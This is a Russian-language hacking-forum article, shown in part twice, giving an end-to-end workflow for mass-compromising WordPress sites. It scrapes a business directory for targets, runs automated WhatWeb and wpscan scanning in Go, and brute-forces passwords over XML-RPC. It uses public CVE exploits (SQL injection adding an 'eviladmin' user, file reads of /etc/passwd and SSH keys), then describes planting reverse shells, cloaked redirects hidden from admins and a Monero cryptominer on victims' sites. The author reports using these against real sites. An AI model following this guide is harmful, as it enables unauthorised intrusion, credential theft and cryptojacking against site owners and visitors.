miserylord
Light Weight
- Депозит
- $0
Автор: miserylord
Эксклюзивно для форума: Стратегия
Существует две разные стратегии, с которыми можно подойти к решению задачи. Вертикальная и горизонтальная стратегии — это противоположные подходы к работе со взломом разных типов доступов.
Вертикальный взлом предполагает атаку на конкретные юниты или группу юнитов, например, поиск группы сайтов на WordPress по тематике или домену и попытка как-то воздействовать на них.
Горизонтальный взлом — это использование уязвимости для атаки на несколько целей с одинаковым уровнем привилегий. Например, найти уязвимость, 0-day или готовую CVE и применить ее для взлома множества сайтов — это пример горизонтальной стратегии.
Также необходимо четко определить цели, так как сам взлом — это не цель, а лишь абстракция, как "счастье". Сценарии постэксплуатации рассмотрим ниже.
В первую очередь нужно найти сайты. Где их искать? Один из способов я рассматривал в другой статье — поиск веб-ссылок по обратному DNS. Сегодня рассмотрим другой способ — парсинг ссылок из каталогов. Итак, ищем каталоги. Существуют и другие методы, например, поиск сайтов на WordPress через Shodan.
Отмечу также, что вертикальный взлом таким способом — не самая гениальная идея. Имеет смысл расширить спектр и работать со всеми найденными сайтами, не отсекая их по CMS, но для данной статьи сделаем акцент именно на WordPress.
Возьмем каталог europages[.]com, где размещены B2B компании. Попробуем спарсить их базу и затем проверим на уязвимые сайты WordPress.
Изучаем структуру сайта и делаем заметки:
Пишем скрипт на Golang. На первом этапе парсим "ссылки-визитки".
C-подобный: Скопировать в буфер обмена
Получаем более 11 тысяч внутренних ссылок.
Изучаем страницу и обнаруживаем, что перед ссылкой на сайты находится элемент с определенными классами — <a`class`="btn btn--subtle btn--md website-button">. Скрипт будет работать без использования горутин, хотя их можно было бы использовать для ускорения. Однако я выберу стратегию, при которой минимизируются риски блокировки, добавив задержку между запросами.
C-подобный: Скопировать в буфер обмена
Получаем 10 900 ссылок. Далее нужно проверить, сколько из них использует WordPress. Чтобы проверить вручную, достаточно открыть исходный код страницы и в поиске по тексту вбить "generator". Это покажет, какая CMS используется, а также её версию.
Для автоматизации процесса я воспользуюсь утилитой WhatWeb, которая позволяет определить, какую CMS использует сайт, фактически являясь бесплатным аналогом Wappalyzer. Команда очень простая — whatweb https://example.com. Перейдём в IDE и напишем скрипт для автоматизации и ускорения проверки.
C-подобный: Скопировать в буфер обмена
Проверив 972 сайта, мы получим 347 сайтов, которые используют WordPress, или 35.8%. Невероятно!
Далее воспользуемся утилитой wpscan. wpscan — это узкоспециализированный сканер для WordPress. При анализе сайта с помощью этой утилиты мы получим информацию о версии WordPress, списки установленных плагинов, пользователей, готовность к брутфорс-атакам, конфигурационные файлы. Под капотом не происходит практически никакой магии, в основном используется фаззинг, и все, что делает утилита, можно повторить вручную.
Возьмем, к примеру, список пользователей, который может быть найден по адресу /wp-json/wp/v2/users. Это очень старая уязвимость, описанная еще в 2018 году, и в базе Exploit DB она числится под GHDB-ID 4944 как Google-дорка. Она все еще актуальна — достаточно выполнить запрос inurl:/wp-json/wp/v2/users/. Большинство сайтов будут взломаны до нас, но есть и такие, где можно посмотреть сам файл в поле JSON "slug", которое раскрывает имена пользователей.
Или возьмем еще более старую уязвимость, описанную в дорке с GHDB-ID 4039, которой уже почти десять лет! Задаем в поиске inurl:wp-config.php. Файл wp-config.php содержит чувствительную информацию, включая имя, хост, юзернейм и пароль от базы данных. Используя эти данные, можно подключиться к базе данных и получить имена пользователей и хеши паролей. Кроме того, файл содержит настройки для секретных ключей и соли, которые WordPress использует для обеспечения безопасности сессий пользователей. Насколько мне удалось узнать, они используются для шифрования cookies и других данных сессий. Безопасность сессионных данных на сайте зависит от этих ключей. Теоретически они позволяют подделать cookies и получить доступ к учетным записям без паролей, просто используя cookies. Однако, не уверен, что это точно.
Для обнаружения подобных файлов необходимо внимательно изучать компоненты WordPress и методом перебора всех вариантов находить интересные файлы или директории.
В общем, WordPress состоит из ядра + набора плагинов и тем, которые разрабатываются сторонними разработчиками:
Именно в плагинах и темах чаще всего встречаются ошибки, поскольку их могут разрабатывать любые разработчики.
Вернемся к нашему сканеру. Для запуска используем команду:
wpscan --url https://example.com --enumerate vp,vt,u,dbe --api-token API_TOKEN --random-user-agent --plugins-detection mixed --force --ignore-main-redirect
Подробнее о флагах:
WPScan поддерживает многопоточное сканирование. Мы можем написать скрипт, который будет сохранять результаты в текстовые файлы, создавая для каждого сайта отдельную директорию. Учтите, что вывод одного сканирования может занимать некоторое время.
C-подобный: Скопировать в буфер обмена
Функция sanitizeDirName заменяет символы, которые не подходят для имен файлов. В остальном код похож на тот, который использовался для проверки CMS.
Очень быстро вы обнаружите, что многие найденные CVE будут требовать авторизации. Это не обязательно должен быть аккаунт с правами администратора, но в любом случае возникает вопрос: как получить доступ к аккаунту? Ответ довольно тривиален — использовать атаку брутфорсом!
Особенность брутфорс-атаки на WordPress заключается в том, что зачастую она не происходит через веб-форму, а через протокол XML-RPC. Чтобы проверить, поддерживает ли конкретный ресурс XML-RPC, необходимо сделать запрос на https://example.com/xmlrpc.php.
XML-RPC — это протокол, который позволяет удаленно взаимодействовать с сайтом WordPress. Через XML-RPC можно отправлять запросы на выполнение различных операций, включая вход в систему. XML-RPC использует XML-формат для обмена данными и отправляется через HTTP POST-запросы.
Особенность техники заключается в том, что обычный брутфорс через веб-страницу проверяет одну комбинацию логина и пароля, имеет лимит на количество попыток входа и блокировку по IP-адресу, а также зависит от доступности страницы входа. Тогда как брутфорс через XML-RPC использует возможность протокола для отправки множества запросов в одном, может обходить ограничения на количество попыток входа, активирован по умолчанию на большинстве сайтов (если не выключен администратором) и может быть сложнее для обнаружения.
Итак, напомню, что список пользователей может быть доступен через /wp-json/wp/v2/users/. Slug — это и есть имя пользователя в системе.
Для брутфорса потребуется словарь, который можно найти на GitHub:
- SecLists/Passwords/Honeypot-Captures/Sucuri-Top-Wordpress-Passwords.txt
- wpxmlrpcbrute/wordlists/1000-most-common-passwords.txt
- rockyou.txt
Вводим команду:
wpscan --url https://example.com --passwords /path/to/passwords.txt --usernames admin --xmlrpc
В которой указываем имя пользователя, путь к файлу с паролями, тип атаки по умолчанию xmlrpc.
Разберем несколько CVE и механизмы их работы.
Принцип работы горизонтального взлома заключается в поиске уязвимостей, дальнейшем поиске уязвимых сайтов и их непосредственном взломе путем использования ранее найденной уязвимости.
Начнем с CVE-2024-27956. Это критическая уязвимость, не требующая авторизации, поэтому в первую очередь мы постараемся разобраться, почему она возникла и как именно работает, а затем попробуем свои силы на реальных ресурсах, поскольку, вероятно, эта уязвимость уже привлекла внимание других исследователей.
Суть уязвимости связана с возможностью SQL-инъекции в плагине "wp-automatic". Этот плагин предназначен для автоматической публикации контента на сайте. Обычно статистика установок доступна в официальном каталоге плагинов, но данный плагин является платным, и мне не удалось найти данные о числе сайтов, использующих его. Однако на одном из сайтов указано, что у плагина более 40 тысяч покупок. В плагинах с количеством установок менее 50 тысяч обычно больше уязвимостей, так как они не попадают под программу баг-баунти от WordPress.
Находим эксплойт, написанный на Python: GitHub - diego-tella/CVE-2024-27956-RCE: PoC for SQL Injection in CVE-2024-27956.
Уязвимость возникает из-за недостаточной проверки входных данных на сервере в скрипте csv.php, который входит в состав плагина wp-automatic. Это позволяет выполнить произвольный SQL-код. В коде используется значение b'\0' (нулевой байт), которое обходит примитивные проверки на авторизацию. Сервер не проверяет, авторизован ли пользователь для выполнения запросов, а полагается на хэш, который в данном случае не привязан к пользователю и его сессии. Функция makeRequest выполняет запрос на сервер, внедряя SQL-пейлоад. При первом вызове скрипта он добавляет нового пользователя "eviladmin" в таблицу wp_users, а при втором вызове вставляет запись в таблицу wp_usermeta, предоставляя пользователю "eviladmin" роль администратора.
Проверяем сам скрипт на наличие "закладок". Обращаю внимание, что после первого запроса есть проверка if "DATE" not in response.text; это может быть довольно слабым местом, и возможно имеет смысл проверять по коду ответа, хотя такая проверка может быть наиболее корректной. Также хеши могут быть невалидными, но явных "закладок" в скрипте я не заметил, и визуально все выглядит нормально.
Ищем сайты. В некоторых более старых PoC CVE на GitHub можно обнаружить дорки для поисковых систем и понять, как составить их для других CVE. Составляем дорку для Fofa. Если речь идет об уязвимости в плагинах, то шаблон будет следующим: body="/wp-content/plugins/PLUGIN_NAME". Подставляем наш плагин и получаем body="/wp-content/plugins/wp-automatic".
Следуем инструкции с GitHub, проверяем цели, и довольно скоро понимаем, что эксплойт работает.
Проверяем сайт и видим, что там все немного сложнее. Не буду вдаваться в подробности, но на сервере есть определенная защита. Впрочем, можно с уверенностью сказать, что эксплойт работает.
Ещё одна из критических уязвимостей в плагинах, связанная с SQL-инъекциями, — CVE-2024-1071. Она позволяет получить доступ к базе данных. Находим эксплоит на GitHub, чтобы понять, как именно он работает: CVE-2024-1071-SQL-Injection/CVE-2024-1071.py at main · fa-rrel/CVE-2024-1071-SQL-Injection · GitHubb.
Функция check_version проверяет версию плагина и запускает дальнейший код только для диапазона уязвимых версий плагина. Далее вызывается get_nonce. Nonce — это одноразовый токен безопасности, который плагин использует для защиты от CSRF-атак. Функция пытается получить его из кода страницы /index.php/register/.
Функция get_directory_id предназначена для поиска валидного идентификатора директории (directory ID) в уязвимом плагине Ultimate Member. Этот ID необходим для успешной эксплуатации уязвимости через SQL-инъекцию. Если все проверки пройдены, функция выводит успешный результат и команду для Sqlmap.
Дорку для Fofa берём из репозитория. Количество результатов — более 90 тысяч. Проверяем на 10 сайтах. В скрипте необходимо немного исправить переменную ascii_art. Из 10 сайтов уязвимость обнаруживается на двух.
Пойдем дальше и рассмотрим CVE другого типа — CVE-2024-27954. Это также уязвимость в плагине, и снова в wp-automatic. Она позволяет перемещаться по директориям, используя доверенный плагин, тем самым являясь SSRF-уязвимостью.
Находим эксплойт — GitHub - Quantum-Hacker/CVE-2024-27954. Обнаруживаем, что он написан под Nuclie, о котором я упоминал в этой статье. Всё, что делает эксплойт, это обращается по URL: example.com/p=3232&wp_automatic=download&link=file:///etc/passwd и проверяет, реально ли мы получаем необходимый файл. Насколько я понимаю, такие уязвимости можно обнаружить фазингом.
Если вы не хотите скачивать Nuclie, можно переписать скрипт на Go, он будет выглядеть примерно так:
C-подобный: Скопировать в буфер обмена
Далее идем в Fofa, проверяем ссылки вручную. На первой ссылке нас блокирует фаервол, а на второй — мы видим файл. Мы также можем открывать другие файлы в директориях. Файл /etc/passwd содержит информацию о пользователях системы. Пользователи, у которых указан shell, могут иметь доступ к системе через SSH. Также можно попробовать получить SSH-ключи, подставив в строку file:///home/user/.ssh/id_rsa. Имена пользователей можно использовать для брутфорс-атаки на SSH/FTP-сервисы, используя, например, Hydra. Подробнее об этом я писал в этой статье.
Не все PoC будут настолько очевидными. Возьмем совсем свежую CVE-2024-50483 и откроем PoC на GitHub: GitHub - RandomRobbieBF/CVE-2024-50483: Meetup <= 0.1 - Authentication Bypass via Account Takeover.
Суть уязвимости заключается в обходе аутентификации и захвате учетной записи пользователя. Проблема в том, что функция facebook_register() позволяет обойти традиционные механизмы аутентификации. Обычно для входа в систему пользователь должен предоставить действительные учетные данные (например, пароль) для подтверждения своей личности. В данном случае плагин этого не делает, полагаясь только на адрес электронной почты.
Однако проблема в том, что по описанию уязвимости вообще неясно, о каком плагине идет речь. Я не нашел плагина Meetup версии около 0.1. Вероятнее всего, речь идет о плагине Import Meetup Events, хотя его версия совсем другая. Тем не менее, похоже, что в нем может быть метод facebook_register(). Попробуем составить поиск: body="wp-content/plugins/import-meetup-events". Иногда email-адреса можно обнаружить в уже знакомой нам директории /wp-json/wp/v2/users, но это происходит не всегда. На одном из сайтов с вероятностью 99.9% удалось найти email администратора, используя данные из LinkedIn. Напишем эксплойт под CVE:
C-подобный: Скопировать в буфер обмена
Запускаю скрипт, но не получаю успешного ответа. В итоге я даже не уверен, что речь идет об этом плагине. Оставим эту CVE.
Ну и в завершение рассмотрим CVE, которая приводит к возможности удаленного исполнения кода (RCE). CVE-2024-25600 — уязвимость, затрагивающая плагин Bricks Builder. Она позволяет внедрять и выполнять PHP-код. Эксплойт и подробное описание уязвимости можно найти на GitHub: GitHub - K3ysTr0K3R/CVE-2024-25600-EXPLOIT: A PoC exploit for CVE-2024-25600 - WordPress Bricks Builder Remote Code Execution (RCE).
Изучив код, становится понятно, что API плагина принимает запросы от клиента и обрабатывает их без надлежащей проверки. Также, согласно эксплойту, nonce, который используется для защиты от CSRF-атак, можно получить через JavaScript, загружаемый на веб-страницу. Функция fetch_nonce выполняет именно эту задачу. Далее эксплойт открывает шелл и выполняет произвольную команду, анализируя ответ на успешность эксплуатации. В скрипте также реализованы техники многопоточного программирования, позволяющие конкурентно обрабатывать ссылки.
Однако возникает вопрос: какой код вообще можно выполнить, получив доступ к административной панели WordPress-сайта или серверу, на котором запущен сайт на WordPress?
Если уязвимость позволяет выполнить код удаленно, то она может подразумевать возможность открытия шелла. Шелл — это терминал на удаленной машине. Например, в Metasploit есть эксплойт для старой уязвимости CVE-2019-8943. Его код можно найти на сайте Exploit-DB — WordPress Core 5.0.0 - Crop-image Shell Upload (Metasploit) - PHP remote Exploit. Дорка для Fofa: app="WordPress-5.0", и уязвимость всё ещё используется несколькими сотнями сайтов. Открыв шелл через Metasploit, можно попасть на сервер, а затем найти креды в ранее знакомом файле wp-config.php, к которому мы получили доступ через Google-дорку. Далее можно сделать всё, что можно сделать с сервером, например, повысить привилегии.
Но для этого вовсе не обязательно использовать Metasploit. Мы можем самостоятельно открыть реверс-шелл. Для этого нужно войти в админ-панель WordPress, перейти в раздел Appearance и отредактировать шаблоны, добравшись до PHP-кода страницы (например, можно взять страницу 404). Затем нужно добавить туда код реверс-шелла, который можно взять с этого сайта: Reverse Shell Cheat Sheet | pentestmonkey, заменив IP-адрес на адрес машины, на которой хотите принять подключение. После этого нужно открыть страницу 404 на сайте, а на машине-реципиенте запустить Netcat.
Также через админ-панель можно внести изменения во внешний вид сайта, заменив его полностью или частично.
Еще один вид пост-эксплуатации — это установка 301 редиректа. 301 редирект — это простое перенаправление на другую страницу. Пользователь нажимает на ссылку в поиске, но его перенаправляют на другой сайт. Это можно сделать разными способами; существует множество плагинов для этого, но лучший способ — изменить код шаблона в файле functions.php. Мы сделаем простой клоакинг в рамках этого PHP-скрипта. Поисковых роботов можно идентифицировать по user-agent, а для сокрытия скрипта от администратора можно определить его по IP-адресу. Эти метки можно расширять, тем самым продлевая жизнь скрытому коду.
PHP: Скопировать в буфер обмена
В заключение расскажу о еще одном возможном варианте — установке майнера. Установить его проще всего, используя один из множества плагинов, хотя в идеале стоит внедрить кастомный JavaScript-скрипт, а также самописный бэкенд для поддержки множества заражённых сайтов. В качестве криптовалюты можно выбрать Монеро, так как она использует подход Proof of Work с демократичным специальным алгоритмом.
По расчётам, если на сайте в день около 10 тысяч пользователей, средняя вычислительная мощность одного компьютера при майнинге Monero (с использованием алгоритма RandomX) может составлять от 2 до 8 хешей в секунду (H/s) в зависимости от мощности процессора. Для простоты примем среднее значение мощности: 4 H/s. Считаем, что каждый посетитель в среднем будет тратить 1 минуту на страницу с майнером. За одну минуту один посетитель генерирует 4 хеша в секунду × 60 секунд = 240 хешей.
За день сайт с 10 000 посетителей создаст: 10 000 × 240 хешей = 2 400 000 хешей в день. Если сложность составляет 800 МH (миллионов хешей в секунду), то общая сложность сети — 800 000 000 H/s. Мощность сайта будет составлять примерно 0,3% от всей сети. Если за день майнинговая сеть генерирует 1 XMR, то на сайт с такой мощностью будет приходиться 0,003 XMR в день.
Допустим, текущая цена 1 Monero (XMR) составляет $150. Тогда доход с сайта в день составит: 0,003 XMR × $150 = $0,45 в день. Учтите, что 10 тысяч пользователей — это довольно высокая посещаемость, и код может быть быстро обнаружен.
Трям! Пока!
Эксклюзивно для форума: Стратегия
Существует две разные стратегии, с которыми можно подойти к решению задачи. Вертикальная и горизонтальная стратегии — это противоположные подходы к работе со взломом разных типов доступов.
Вертикальный взлом предполагает атаку на конкретные юниты или группу юнитов, например, поиск группы сайтов на WordPress по тематике или домену и попытка как-то воздействовать на них.
Горизонтальный взлом — это использование уязвимости для атаки на несколько целей с одинаковым уровнем привилегий. Например, найти уязвимость, 0-day или готовую CVE и применить ее для взлома множества сайтов — это пример горизонтальной стратегии.
Также необходимо четко определить цели, так как сам взлом — это не цель, а лишь абстракция, как "счастье". Сценарии постэксплуатации рассмотрим ниже.
Вертикальный взлом
В первую очередь нужно найти сайты. Где их искать? Один из способов я рассматривал в другой статье — поиск веб-ссылок по обратному DNS. Сегодня рассмотрим другой способ — парсинг ссылок из каталогов. Итак, ищем каталоги. Существуют и другие методы, например, поиск сайтов на WordPress через Shodan.
Отмечу также, что вертикальный взлом таким способом — не самая гениальная идея. Имеет смысл расширить спектр и работать со всеми найденными сайтами, не отсекая их по CMS, но для данной статьи сделаем акцент именно на WordPress.
Возьмем каталог europages[.]com, где размещены B2B компании. Попробуем спарсить их базу и затем проверим на уязвимые сайты WordPress.
Изучаем структуру сайта и делаем заметки:
- Каталог размещается по следующей структуре: /en/cpp/A (буква) → /en/cpp/A/1 (буква + цифра) — до 100 страниц визиток.
- На странице визитки есть кнопка Visit site.
- Что происходит, если обратиться к странице с несуществующим номером? Отображается пустой блок визиток.
- Текст, который нужно спарсить, находится между <a href=" и .html.
Пишем скрипт на Golang. На первом этапе парсим "ссылки-визитки".
C-подобный: Скопировать в буфер обмена
Code:
package main
import (
"fmt"
"io/ioutil"
"log"
"net/http"
"os"
"regexp"
"time"
)
// 1
const (
baseURL = "https://www.europages.co.uk/en/cpp"
outputFile = "parsed_links.txt"
)
func main() {
// 2
file, err := os.OpenFile(outputFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
log.Fatalf("Ошибка открытия файла: %v", err)
}
defer file.Close()
// 3
for letter := 'A'; letter <= 'Z'; letter++ {
pageNumber := 1
for {
// 4
url := fmt.Sprintf("%s/%c/%d", baseURL, letter, pageNumber)
fmt.Printf("Парсинг URL: %s\n", url)
// 5
resp, err := http.Get(url)
if err != nil {
log.Printf("Ошибка запроса к %s: %v", url, err)
break
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Printf("Ошибка чтения ответа: %v", err)
break
}
// 6
re := regexp.MustCompile(`<a href="(/[^"]+\.html)"`)
matches := re.FindAllStringSubmatch(string(body), -1)
// 7
if len(matches) == 0 {
break
}
// 8
for _, match := range matches {
fullURL := "https://www.europages.co.uk/en" + match[1]
_, err := file.WriteString(fullURL + "\n")
if err != nil {
log.Printf("Ошибка записи в файл: %v", err)
}
}
// 9
pageNumber++
time.Sleep(1 * time.Second)
}
}
fmt.Println("Парсинг завершен")
}
- В константах объявляем основную ссылку, а также имя файла, в который будут сохранены результаты.
- Открываем файл parsed_links.txt для дальнейшей работы.
- Запускаем цикл по буквам алфавита.
- Формируем URL для текущей буквы и страницы.
- Отправляем HTTP-запрос и читаем ответ.
- Используем регулярное выражение для поиска ссылок.
- Проверяем наличие ссылок; если ссылок нет — переходим к следующей букве, прерывая итерацию.
- Записываем найденные ссылки в файл.
- Переходим к следующей странице с задержкой, добавляя паузу перед следующим запросом для избежания перегрузки.
Получаем более 11 тысяч внутренних ссылок.
Изучаем страницу и обнаруживаем, что перед ссылкой на сайты находится элемент с определенными классами — <a`class`="btn btn--subtle btn--md website-button">. Скрипт будет работать без использования горутин, хотя их можно было бы использовать для ускорения. Однако я выберу стратегию, при которой минимизируются риски блокировки, добавив задержку между запросами.
C-подобный: Скопировать в буфер обмена
Code:
package main
import (
"bufio"
"io/ioutil"
"log"
"math/rand"
"net/http"
"os"
"regexp"
"strings"
"time"
)
// 1
const (
inputFile = "parsed_links.txt"
outputFile = "website_links.txt"
targetClass = `<a class="btn btn--subtle btn--md website-button" href="([^"]+)"`
)
func main() {
file, err := os.Open(inputFile)
if err != nil {
log.Fatalf("Ошибка открытия файла %s: %v", inputFile, err)
}
defer file.Close()
output, err := os.OpenFile(outputFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
log.Fatalf("Ошибка открытия выходного файла %s: %v", outputFile, err)
}
defer output.Close()
// 2
re := regexp.MustCompile(targetClass)
// 3
scanner := bufio.NewScanner(file)
for scanner.Scan() {
originalLink := scanner.Text()
log.Printf("Начало обработки ссылки: %s", originalLink)
// 4
modifiedLink := strings.Replace(originalLink, "/en/", "/", 1)
log.Printf("Модифицированная ссылка: %s", modifiedLink)
// 5
delay := time.Duration(rand.Intn(3)+1) * time.Second
log.Printf("Задержка перед запросом: %v", delay)
time.Sleep(delay)
// 6
resp, err := http.Get(modifiedLink)
if err != nil {
log.Printf("Ошибка запроса к %s: %v", modifiedLink, err)
continue
}
defer resp.Body.Close()
log.Printf("Успешный запрос к %s", modifiedLink)
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Printf("Ошибка чтения ответа от %s: %v", modifiedLink, err)
continue
}
log.Printf("Чтение HTML содержимого выполнено для %s", modifiedLink)
// 7
matches := re.FindStringSubmatch(string(body))
if len(matches) > 1 {
websiteLink := matches[1]
log.Printf("Найдена ссылка с нужным классом: %s", websiteLink)
_, err := output.WriteString(websiteLink + "\n")
if err != nil {
log.Printf("Ошибка записи в файл %s: %v", outputFile, err)
} else {
log.Printf("Ссылка успешно сохранена в файл: %s", websiteLink)
}
} else {
log.Printf("Ссылка с нужным классом не найдена на странице %s", modifiedLink)
}
}
if err := scanner.Err(); err != nil {
log.Fatalf("Ошибка чтения из файла %s: %v", inputFile, err)
}
log.Println("Парсинг завершен")
}
- Объявляем регулярное выражение, чтобы получить чистые ссылки, и добавляем новый текстовый файл для сохранения этих ссылок.
- Компилируем регулярное выражение.
- Читаем файл с исходными ссылками построчно.
- Убираем /en/ из ссылки (в предыдущем скрипте была небольшая ошибка при формировании ссылки, исправляем ее в этом скрипте).
- Делаем случайную задержку от 1 до 3 секунд перед запросом.
- Делаем запрос к текущей модифицированной ссылке и читаем ответ.
- Ищем ссылку с нужным классом с помощью регулярного выражения и записываем ее в файл. Логируем весь процесс.
Получаем 10 900 ссылок. Далее нужно проверить, сколько из них использует WordPress. Чтобы проверить вручную, достаточно открыть исходный код страницы и в поиске по тексту вбить "generator". Это покажет, какая CMS используется, а также её версию.
Для автоматизации процесса я воспользуюсь утилитой WhatWeb, которая позволяет определить, какую CMS использует сайт, фактически являясь бесплатным аналогом Wappalyzer. Команда очень простая — whatweb https://example.com. Перейдём в IDE и напишем скрипт для автоматизации и ускорения проверки.
C-подобный: Скопировать в буфер обмена
Code:
package main
import (
"bufio"
"bytes"
"log"
"os"
"os/exec"
"sync"
)
const (
inputFileName = "website_links.txt"
goodFileName = "good.txt"
badFileName = "bad.txt"
maxGoroutines = 9 // 1
)
// 2
var (
goodFileMutex sync.Mutex
badFileMutex sync.Mutex
)
func main() {
// 3
sem := make(chan struct{}, maxGoroutines)
// 4
file, err := os.Open(inputFileName)
if err != nil {
log.Fatalf("Ошибка при открытии файла %s: %v", inputFileName, err)
}
defer file.Close()
// 5
var wg sync.WaitGroup
scanner := bufio.NewScanner(file)
// 6
for scanner.Scan() {
site := scanner.Text()
wg.Add(1)
sem <- struct{}{}
go func(site string) {
defer wg.Done()
defer func() { <-sem }()
checkWebsite(site)
}(site)
}
wg.Wait()
if err := scanner.Err(); err != nil {
log.Fatalf("Ошибка при чтении файла %s: %v", inputFileName, err)
}
}
// 7
func checkWebsite(site string) {
cmd := exec.Command("whatweb", site)
var out bytes.Buffer
cmd.Stdout = &out
if err := cmd.Run(); err != nil {
log.Printf("Ошибка при запуске whatweb для сайта %s: %v", site, err)
return
}
if bytes.Contains(out.Bytes(), []byte("WordPress")) {
writeToFile(goodFileName, site)
} else {
writeToFile(badFileName, site)
}
}
// 8
func writeToFile(fileName, site string) {
var mutex *sync.Mutex
if fileName == goodFileName {
mutex = &goodFileMutex
} else {
mutex = &badFileMutex
}
mutex.Lock()
defer mutex.Unlock()
f, err := os.OpenFile(fileName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
log.Printf("Ошибка при открытии файла %s: %v", fileName, err)
return
}
defer f.Close()
_, err = f.WriteString(site + "\n")
if err != nil {
log.Printf("Ошибка при записи в файл %s: %v", fileName, err)
}
}
- Задаём количество параллельных горутин.
- Подключаем мьютексы для корректной записи в файл. Будет использоваться два мьютекса: один для записи успешных результатов, второй — для сайтов, которые используют другую CMS (либо хорошо скрывают WordPress).
- Создаём семафор для ограничения количества горутин.
- Открываем файл со списком сайтов.
- Создаём wait group для ожидания завершения всех горутин.
- Читаем файл построчно. Блокируем семафор. Запускаем горутины для проверки сайтов, затем освобождаем семафор после завершения горутины.
- Функция checkWebsite проверяет, использует ли сайт WordPress, и записывает результат в соответствующий файл. Сначала функция запускает команду whatweb для проверки сайта, затем анализирует вывод команды на наличие "WordPress". Если найдено, то сайт считается "good", если нет — "bad".
- Функция writeToFile записывает строку в указанный файл с использованием мьютекса для потокобезопасности.
Проверив 972 сайта, мы получим 347 сайтов, которые используют WordPress, или 35.8%. Невероятно!
Далее воспользуемся утилитой wpscan. wpscan — это узкоспециализированный сканер для WordPress. При анализе сайта с помощью этой утилиты мы получим информацию о версии WordPress, списки установленных плагинов, пользователей, готовность к брутфорс-атакам, конфигурационные файлы. Под капотом не происходит практически никакой магии, в основном используется фаззинг, и все, что делает утилита, можно повторить вручную.
Возьмем, к примеру, список пользователей, который может быть найден по адресу /wp-json/wp/v2/users. Это очень старая уязвимость, описанная еще в 2018 году, и в базе Exploit DB она числится под GHDB-ID 4944 как Google-дорка. Она все еще актуальна — достаточно выполнить запрос inurl:/wp-json/wp/v2/users/. Большинство сайтов будут взломаны до нас, но есть и такие, где можно посмотреть сам файл в поле JSON "slug", которое раскрывает имена пользователей.
Или возьмем еще более старую уязвимость, описанную в дорке с GHDB-ID 4039, которой уже почти десять лет! Задаем в поиске inurl:wp-config.php. Файл wp-config.php содержит чувствительную информацию, включая имя, хост, юзернейм и пароль от базы данных. Используя эти данные, можно подключиться к базе данных и получить имена пользователей и хеши паролей. Кроме того, файл содержит настройки для секретных ключей и соли, которые WordPress использует для обеспечения безопасности сессий пользователей. Насколько мне удалось узнать, они используются для шифрования cookies и других данных сессий. Безопасность сессионных данных на сайте зависит от этих ключей. Теоретически они позволяют подделать cookies и получить доступ к учетным записям без паролей, просто используя cookies. Однако, не уверен, что это точно.
Для обнаружения подобных файлов необходимо внимательно изучать компоненты WordPress и методом перебора всех вариантов находить интересные файлы или директории.
В общем, WordPress состоит из ядра + набора плагинов и тем, которые разрабатываются сторонними разработчиками:
- Плагины — это расширения, которые добавляют функциональность сайту, например, формы обратной связи, SEO-оптимизацию, безопасность, интеграцию с социальными сетями и многое другое. Пример плагина — WooCommerce (для создания интернет-магазинов) или Yoast SEO (для улучшения SEO).
- Темы — это визуальный стиль и оформление сайта WordPress. Тема управляет внешним видом сайта, его макетом, цветами, шрифтами, изображениями и другими элементами дизайна. Каждая тема состоит из набора шаблонов (PHP-файлов), стилей (CSS), изображений и других ресурсов.
Именно в плагинах и темах чаще всего встречаются ошибки, поскольку их могут разрабатывать любые разработчики.
Вернемся к нашему сканеру. Для запуска используем команду:
wpscan --url https://example.com --enumerate vp,vt,u,dbe --api-token API_TOKEN --random-user-agent --plugins-detection mixed --force --ignore-main-redirect
Подробнее о флагах:
- --url — указывает целевой URL-адрес для сканирования.
- --enumerate — указывает, какие элементы необходимо перечислить:
- - vp — ищет уязвимые плагины.
- - vt — ищет уязвимые темы.
- - u — ищет пользователей WordPress.
- - dbe — ищет уязвимости в базе данных WordPress.
- --api-token — для получения полного лога и моментальных сообщений об уязвимостях нужен API-токен. Его можно получить на официальном сайте WPScan. Дейли-ключ даёт 25 бесплатных сканов, однако сайт отправляет токены на временные почты, поэтому можно получить несколько десятков ключей или оплатить использование для получения большего объема информации.
- --random-user-agent — использует случайный User-Agent при отправке HTTP-запросов.
- --plugins-detection — устанавливает метод обнаружения плагинов. Опция **mixed** использует как пассивные методы (анализ кода сайта), так и активные методы (сканирование конечных точек).
- --force — принудительно выполняет сканирование, игнорируя предупреждения.
- --ignore-main-redirect — игнорирует перенаправления основного URL.
WPScan поддерживает многопоточное сканирование. Мы можем написать скрипт, который будет сохранять результаты в текстовые файлы, создавая для каждого сайта отдельную директорию. Учтите, что вывод одного сканирования может занимать некоторое время.
C-подобный: Скопировать в буфер обмена
Code:
package main
import (
"bufio"
"bytes"
"fmt"
"log"
"os"
"os/exec"
"path/filepath"
"sync"
)
const (
inputFileName = "good2.txt"
apiKey = ""
maxGoroutines = 20
)
func main() {
sem := make(chan struct{}, maxGoroutines)
file, err := os.Open(inputFileName)
if err != nil {
log.Fatalf("Ошибка при открытии файла %s: %v", inputFileName, err)
}
defer file.Close()
var wg sync.WaitGroup
scanner := bufio.NewScanner(file)
for scanner.Scan() {
site := scanner.Text()
wg.Add(1)
sem <- struct{}{}
go func(site string) {
defer wg.Done()
defer func() { <-sem }()
runWpscan(site)
}(site)
}
wg.Wait()
if err := scanner.Err(); err != nil {
log.Fatalf("Ошибка при чтении файла %s: %v", inputFileName, err)
}
}
func runWpscan(site string) {
dirName := fmt.Sprintf("logs/%s", sanitizeDirName(site))
err := os.MkdirAll(dirName, os.ModePerm)
if err != nil {
log.Printf("Ошибка при создании директории %s: %v", dirName, err)
return
}
logFileName := filepath.Join(dirName, "wpscan_log.txt")
cmd := exec.Command(
"wpscan",
"--url", site,
"--enumerate", "vp,vt,u,dbe",
"--api-token", apiKey,
"--random-user-agent",
"--plugins-detection", "mixed",
"--force",
)
var out bytes.Buffer
cmd.Stdout = &out
cmd.Stderr = &out
err = cmd.Run()
if err != nil {
log.Printf("Ошибка при запуске wpscan для сайта %s: %v", site, err)
}
err = os.WriteFile(logFileName, out.Bytes(), 0644)
if err != nil {
log.Printf("Ошибка при сохранении лога для сайта %s: %v", site, err)
return
}
log.Printf("Сканирование завершено для сайта %s, лог сохранён в %s", site, logFileName)
}
